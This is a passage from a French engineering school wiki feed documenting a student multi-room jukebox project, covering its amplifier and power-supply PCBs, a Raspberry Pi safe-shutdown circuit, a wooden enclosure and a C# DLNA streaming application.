Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Partie Hardware====&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par le pont de Graetz, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal élevé et lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffi de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Circuit ON/OFF=====&lt;br /&gt;
&lt;br /&gt;
La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre.&amp;lt;br&amp;gt;&lt;br /&gt;
En effet, l'extinction &amp;quot;brutale&amp;quot; pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées !&amp;lt;br&amp;gt;&lt;br /&gt;
Pour &amp;quot;extinction brutale&amp;quot;, comprenez&lt;br /&gt;
* Débranchement de la prise d'alimentation principale par l'utilisateur&lt;br /&gt;
* Coupure de courant&lt;br /&gt;
&lt;br /&gt;
Nous avons donc pensé à un circuit à base de condensateurs et de relais :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_Schematics_2.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF &amp;quot;normal&amp;quot;, comprenant les boutons sur lesquels l'utilisateur agira.&amp;lt;br&amp;gt;&lt;br /&gt;
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF)&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit ON/OFF &amp;quot;normal&amp;quot; :''' &amp;lt;br&amp;gt;&lt;br /&gt;
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2)&amp;lt;br&amp;gt;&lt;br /&gt;
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).&lt;br /&gt;
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.&lt;br /&gt;
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --&amp;gt; La RPi ne sera donc plus alimentée.&amp;lt;br&amp;gt;&lt;br /&gt;
Pour éviter cela, on active une sortie de la RPi (Pin 3 de &amp;quot;To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.&lt;br /&gt;
*Pour l'extinction, on ajoute un retour (pin 6 de &amp;quot;To GPIO&amp;quot;) qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.&lt;br /&gt;
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.&lt;br /&gt;
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit de sécurité (encadré en rouge) :''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Un boîtier de piles (accessible de l'extérieur) 6V est connecté à ce circuit. Puisque la Raspberry Pi doit être alimentée en 5V, nous avons ajouté un régulateur de tension de 5V.&lt;br /&gt;
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, non connecté. Dans cette situation, la Raspberry fonctionne correctement avec la source d’alimentation normale et les piles ne sont pas utilisées.&lt;br /&gt;
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.&lt;br /&gt;
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de &amp;quot;To GPIO&amp;quot;) pour lancer le script d'extinction de celle-ci.&lt;br /&gt;
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (T3) (tout en haut à droite). Par conséquent, la Raspberry ne sera plus connectée à la masse, ce qui préservera les piles en stoppant leur fourniture de courant inutile.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le PCB associé (réalisé sous Altium) est le suivant : &amp;lt;br&amp;gt;&lt;br /&gt;
(Face TOP / Face BOTTOM)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_3D_TOP.png|300px]] [[Fichier:DriverButtons_3D_BOT.png|299px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Partie Software====&lt;br /&gt;
&lt;br /&gt;
=====UPnP/DLNA sous Android=====&lt;br /&gt;
&lt;br /&gt;
L'objectif principal est d'arriver à streamer une musique depuis notre propre application Android. Pour cela je projetais d'utiliser la librairie Java Cling développée par un particulier, cependant :&lt;br /&gt;
&lt;br /&gt;
* Très peu de documentation&lt;br /&gt;
* Utilise le gestionnaire de projet Maven sous Eclipse (par opposition à Gradle sous Android Studio)&lt;br /&gt;
* Nécessite Jetty qui n'est pas disponible pour Android (seul un portage nommé i-Jetty existe)&lt;br /&gt;
* Google ne supporte plus le développement d'applications Android sous Eclipse&lt;br /&gt;
&lt;br /&gt;
Cette librairie étant très difficile à mettre en place, j'ai cherché d'autres solutions pouvant exister sous Android (CyberLink4Android...) sans plus de succès. J'ai alors fait appel à benjamin Barbry l'intervenant extérieur en Android qui n'a pas non plus réussi à implémenter Cling sous Android Studio. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après discussion de la situation avec mes tuteurs il a été décidé qu'il était préférable que je me tourne plutôt vers le développement d'une application pour PC.&lt;br /&gt;
&lt;br /&gt;
=====UPnP/DLNA sur PC=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai fait une recherche des solutions open source existantes :&lt;br /&gt;
&lt;br /&gt;
* [http://serviio.org/ Serviio] un serveur DLNA multiplate-formes&lt;br /&gt;
* [http://www.streamwhatyouhear.com/ Stream What You Hear] un logiciel permettant de diffuser tous les sons du PC vers un lecteur DLNA&lt;br /&gt;
* [https://kodi.tv/ Kodi] un serveur DLNA multiplate-formes&lt;br /&gt;
&lt;br /&gt;
Cependant il a été jugé intéressant de développer entièrement ma propre application car cela me permet d'avoir un contrôle total sur le code et d'implémenter seulement les fonctions jugées utiles. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J’ai décidé de coder l’application en C# car c’est un langage que je connais bien et qui utilise le framework .NET de Microsoft. Le choix s’est porté sur ce langage principalement car c’est le langage permettant la création d’une interface graphique que je maîtrise le mieux. Par la suite il sera possible d’obtenir une certaine portabilité de l’application sur d’autres systèmes d’exploitation grâce au projet Mono qui est une implémentation open source du framework .NET pour Linux, Mac OS mais aussi Windows.&lt;br /&gt;
&lt;br /&gt;
=====Fonctionnement des protocoles=====&lt;br /&gt;
&lt;br /&gt;
Le problème rencontré lors de l'implémentation des protocoles a principalement été que les documentations étaient soit exhaustives (plus de 1700 pages) soit inexistantes. A l'aide de code trouvé sur internet et de Wireshark j'ai alors réussi à comprendre le fonctionnement de ces protocoles :&lt;br /&gt;
&lt;br /&gt;
* L'UPnP sert à la découverte des appareils (multicast UDP sur le port 1900) ainsi qu'à leur contrôle (SOAP via http)&lt;br /&gt;
* Le DLNA (pour la récupération de musique en tout cas) consiste en un GET sur un port choisi&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DLNA.png]]&lt;br /&gt;
&lt;br /&gt;
=====Codage de l'application=====&lt;br /&gt;
&lt;br /&gt;
Pour gagner du temps j’ai décidé d’employer un serveur web portable prêt à l’emploi plutôt que de le coder moi-même. J’ai trouvé deux solutions envisageables :&lt;br /&gt;
&lt;br /&gt;
* [https://www.ritlabs.com/en/products/tinyweb/ TinyWeb] un serveur open source de 53Ko gérant le http et https&lt;br /&gt;
* [https://www.cesanta.com/products/mongoose/ Mongoose] un serveur cross plateforme open source de 168Ko codé en C/C++ gérant le http et https&lt;br /&gt;
&lt;br /&gt;
J’ai fini par choisir TinyWeb car il permettait de choisir en ligne de commande le port sur lequel le serveur doit être démarré et il est plus transparent pour l’utilisateur car il n’affiche pas d’icône à son lancement. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J'ai ensuite commencé à coder l'interface. L'objectif était d'avoir une interface simple, claire mais offrant à l'utilisateur toutes les fonctionnalités nécessaires.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:interfaceDLNA.jpg]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lors de la découverte des appareils sur le réseau, mon programme attend une réponse et par conséquent bloque le thread principal responsable de la gestion de l'interface graphique. Pour palier à ce problème là, je lance tout les processus responsables de la gestion du réseau dans un thread séparé. Cela permet de garde une interface graphique fluide, mais aussi de pouvoir détecter les appareils sur le réseau le plus rapidement possible en fond. Ainsi, il est possible de rafraîchir facilement la liste des appareils sur le réseau directement dans la fenêtre de sélection des clients DLNA :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:appareilsDLNA.jpg]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mon application permet ainsi de streamer vers un ou plusieurs lecteurs DLNA à la fois.&lt;br /&gt;
&lt;br /&gt;
=====Objectif futur=====&lt;br /&gt;
&lt;br /&gt;
L'objectif suivant est d'arriver à streamer un flux vers une paire d'enceintes connectées en créant un effet stéréo. Cependant des problèmes peuvent se présenter pour implémenter cette fonctionnalité :&lt;br /&gt;
&lt;br /&gt;
* La mémoire tampon est réglée sur le lecteur DLNA, elle peut donc changer si ils ne sont pas identiques&lt;br /&gt;
* La mémoire tampon dépendant du débit et de la qualité de connexion, si l'utilisateur passe par le wifi et que les enceintes sont relativement éloignées ou qu'elle disposent de cartes wifi diférentes, la mémoire tampon mettra plus ou moins de temps à se remplir&lt;br /&gt;
&lt;br /&gt;
Comme cette mémoire doit être pleine avant que la musique se lance, la différence de débit peut très facilement provoquer un décalage très désagréable à l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====Sources et documents=====&lt;br /&gt;
&lt;br /&gt;
Ce projet étant open source et destiné à tout public j'ai hébergé les sources de mon programme sur [https://github.com/Fraise/OmegaUPnP Github] et j'ai rédigé un tutoriel destiné à toute personne voulant mettre en place un client DLNA chez lui et streamer des médias ([[Fichier:Tuto_Enceinte_Connectee.pdf]]).&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27728</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27728"/>
				<updated>2016-02-23T19:28:40Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Circuit ON/OFF */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
